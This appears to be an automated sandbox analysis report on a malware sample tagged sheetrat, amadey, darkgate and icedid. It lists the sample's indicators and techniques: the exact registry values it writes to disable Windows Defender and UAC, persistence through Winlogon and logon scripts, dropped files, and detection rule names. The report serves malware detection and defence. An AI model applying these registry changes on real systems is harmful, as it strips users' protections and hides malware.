sheetrat | 36b88a7d0b120e40dde303ec9c140e1966bb2b67cfab04e36eb5eea6b5b53d50

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\M1004NUS.exe,"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	M1004NUS.exe

UAC bypass 3 TTPs 8 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe

Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 2 IoCs

resource	yara_rule
behavioral1/memory/1900-0-0x000002E948FA0000-0x000002E949014000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL
behavioral1/files/0x00080000000245c9-31.dat	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL

Detects executables (downlaoders) containing URLs to raw contents of a paste 2 IoCs

resource	yara_rule
behavioral1/memory/1900-0-0x000002E948FA0000-0x000002E949014000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral1/files/0x00080000000245c9-31.dat	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral1/memory/1900-0-0x000002E948FA0000-0x000002E949014000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/files/0x00080000000245c9-31.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 32 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4412	powershell.exe
3776	powershell.exe
2940	powershell.exe
3236	powershell.exe
4812	powershell.exe
4548	powershell.exe
1636	powershell.exe
1612	powershell.exe
1272	powershell.exe
5292	powershell.exe
3928	powershell.exe
1816	powershell.exe
3332	powershell.exe
4736	powershell.exe
2568	powershell.exe
4016	powershell.exe
3236	powershell.exe
4016	powershell.exe
1636	powershell.exe
1612	powershell.exe
1816	powershell.exe
3332	powershell.exe
4812	powershell.exe
3928	powershell.exe
4412	powershell.exe
3776	powershell.exe
1272	powershell.exe
2568	powershell.exe
4736	powershell.exe
2940	powershell.exe
4548	powershell.exe
5292	powershell.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
4760	netsh.exe
8	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
3264	Process not Found
4396	M1004NUS.exe
1868	M1004NUS.exe

Loads dropped DLL 4 IoCs

pid	Process
4812	powershell.exe
4736	powershell.exe
3264	Process not Found
920	Process not Found

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 2 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	M1004NUS.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	M1004NUS.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

persistence privilege_escalation

description	ioc	Process
File opened (read-only)	\??\J:	mountvol.exe
File opened (read-only)	\??\E:	mountvol.exe
File opened (read-only)	\??\I:	mountvol.exe
File opened (read-only)	\??\O:	mountvol.exe
File opened (read-only)	\??\W:	mountvol.exe
File opened (read-only)	\??\E:	mountvol.exe
File opened (read-only)	\??\F:	mountvol.exe
File opened (read-only)	\??\H:	mountvol.exe
File opened (read-only)	\??\K:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\H:	mountvol.exe
File opened (read-only)	\??\L:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\I:	mountvol.exe
File opened (read-only)	\??\U:	mountvol.exe
File opened (read-only)	\??\X:	mountvol.exe
File opened (read-only)	\??\N:	mountvol.exe
File opened (read-only)	\??\N:	mountvol.exe
File opened (read-only)	\??\P:	mountvol.exe
File opened (read-only)	\??\J:	mountvol.exe
File opened (read-only)	\??\O:	mountvol.exe
File opened (read-only)	\??\S:	mountvol.exe
File opened (read-only)	\??\T:	mountvol.exe
File opened (read-only)	\??\E:	mountvol.exe
File opened (read-only)	\??\K:	mountvol.exe
File opened (read-only)	\??\T:	mountvol.exe
File opened (read-only)	\??\V:	mountvol.exe
File opened (read-only)	\??\F:	Process not Found
File opened (read-only)	\??\Q:	mountvol.exe
File opened (read-only)	\??\V:	mountvol.exe
File opened (read-only)	\??\M:	mountvol.exe
File opened (read-only)	\??\U:	mountvol.exe
File opened (read-only)	\??\Y:	mountvol.exe
File opened (read-only)	\??\H:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\P:	mountvol.exe
File opened (read-only)	\??\W:	mountvol.exe
File opened (read-only)	\??\Y:	mountvol.exe
File opened (read-only)	\??\F:	mountvol.exe
File opened (read-only)	\??\J:	mountvol.exe
File opened (read-only)	\??\Q:	mountvol.exe
File opened (read-only)	\??\L:	mountvol.exe
File opened (read-only)	\??\M:	mountvol.exe
File opened (read-only)	\??\R:	mountvol.exe
File opened (read-only)	\??\I:	mountvol.exe
File opened (read-only)	\??\R:	mountvol.exe
File opened (read-only)	\??\S:	mountvol.exe
File opened (read-only)	\??\X:	mountvol.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
6	ip-api.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\BootFiles\BootExecutor.exe	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	M1004NUS.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
772	sc.exe
1652	sc.exe
3456	sc.exe
5636	sc.exe
2204	sc.exe
628	sc.exe

Direct Volume Access: Opens a physical disk for reading 1 TTPs 2 IoCs

Opens a raw handle to a physical disk, which bypasses file system access controls and is used for disk inspection, anti-VM checks and privilege checks.

defense_evasion

Direct Volume Access

T1006

description	ioc	Process
File opened (read-only)	\??\PHYSICALDRIVE0	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
File opened (read-only)	\??\PHYSICALDRIVE0	M1004NUS.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 14 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5996	CMD.exe
5516	cmd.exe
6016	cmd.exe
5876	cmd.exe
2432	CMD.exe
5092	cmd.exe
1956	cmd.exe
4548	cmd.exe
2832	cmd.exe
5984	cmd.exe
6048	cmd.exe
4732	cmd.exe
2716	cmd.exe
4060	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	M1004NUS.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	M1004NUS.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	M1004NUS.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	M1004NUS.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\gogoduck	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Process not Found

Scheduled Task/Job: Scheduled Task 1 TTPs 21 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5744	schtasks.exe
1144	schtasks.exe
5556	schtasks.exe
4120	schtasks.exe
5144	schtasks.exe
5676	schtasks.exe
4376	schtasks.exe
464	schtasks.exe
1088	schtasks.exe
5824	schtasks.exe
5116	schtasks.exe
3280	schtasks.exe
5860	schtasks.exe
892	schtasks.exe
2088	schtasks.exe
4108	schtasks.exe
1768	schtasks.exe
1836	schtasks.exe
1696	schtasks.exe
5740	schtasks.exe
3952	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
4412	powershell.exe
4412	powershell.exe
3776	powershell.exe
3776	powershell.exe
4812	powershell.exe
4812	powershell.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
3928	powershell.exe
3928	powershell.exe
2940	powershell.exe
2940	powershell.exe
4548	powershell.exe
4548	powershell.exe
1636	powershell.exe
1636	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1272	powershell.exe
1272	powershell.exe
1272	powershell.exe
2568	powershell.exe
2568	powershell.exe
2568	powershell.exe
5292	powershell.exe
5292	powershell.exe
5292	powershell.exe
1816	powershell.exe
1816	powershell.exe
1816	powershell.exe
3236	powershell.exe
3236	powershell.exe
3236	powershell.exe
3332	powershell.exe
3332	powershell.exe
3332	powershell.exe
4736	powershell.exe
1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3264	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeDebugPrivilege	4536	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeDebugPrivilege	4412	powershell.exe
Token: SeDebugPrivilege	3776	powershell.exe
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeDebugPrivilege	3928	powershell.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	4548	powershell.exe
Token: SeDebugPrivilege	1636	powershell.exe
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeDebugPrivilege	1272	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeDebugPrivilege	5292	powershell.exe
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeDebugPrivilege	3236	powershell.exe
Token: SeDebugPrivilege	3332	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	4016	powershell.exe
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeDebugPrivilege	4396	M1004NUS.exe
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeDebugPrivilege	1868	M1004NUS.exe
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1900 wrote to memory of 5092	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	88
PID 1900 wrote to memory of 5508	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	90
PID 5092 wrote to memory of 4760	5092	cmd.exe	92
PID 1900 wrote to memory of 772	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	94
PID 1900 wrote to memory of 1652	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	96
PID 3264 wrote to memory of 5164	3264	Process not Found
PID 3264 wrote to memory of 5164	3264	Process not Found
PID 1900 wrote to memory of 3456	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	98
PID 1900 wrote to memory of 2532	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	102
PID 1900 wrote to memory of 4936	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	104
PID 1900 wrote to memory of 5788	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	107
PID 1900 wrote to memory of 2336	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	109
PID 1900 wrote to memory of 436	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	112
PID 1900 wrote to memory of 4412	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	114
PID 1900 wrote to memory of 4376	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	116
PID 1900 wrote to memory of 3776	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	121
PID 1900 wrote to memory of 4388	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	123
PID 1900 wrote to memory of 5860	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	125
PID 1900 wrote to memory of 4812	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	127
PID 1900 wrote to memory of 1868	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	129
PID 1900 wrote to memory of 3928	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	131
PID 1900 wrote to memory of 1696	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	133
PID 1900 wrote to memory of 3064	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	135
PID 1900 wrote to memory of 3552	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	137
PID 1900 wrote to memory of 2940	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	139
PID 1900 wrote to memory of 4228	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	141
PID 1900 wrote to memory of 892	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	143
PID 1900 wrote to memory of 4548	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	145
PID 1900 wrote to memory of 1636	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	147
PID 1900 wrote to memory of 1784	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	149
PID 1900 wrote to memory of 5744	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	151
PID 1900 wrote to memory of 1612	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	154
PID 1900 wrote to memory of 5508	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	157
PID 1900 wrote to memory of 2408	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	159
PID 1900 wrote to memory of 4060	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	162
PID 4060 wrote to memory of 1144	4060	cmd.exe	164
PID 1900 wrote to memory of 2152	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	165
PID 1900 wrote to memory of 464	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	167
PID 1900 wrote to memory of 1272	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	169
PID 1900 wrote to memory of 2568	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	171
PID 3264 wrote to memory of 5980	3264	Process not Found
PID 3264 wrote to memory of 5980	3264	Process not Found
PID 1900 wrote to memory of 5292	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	174
PID 1900 wrote to memory of 3816	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	176
PID 1900 wrote to memory of 5448	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	178
PID 1900 wrote to memory of 1816	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	180
PID 1900 wrote to memory of 3236	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	182
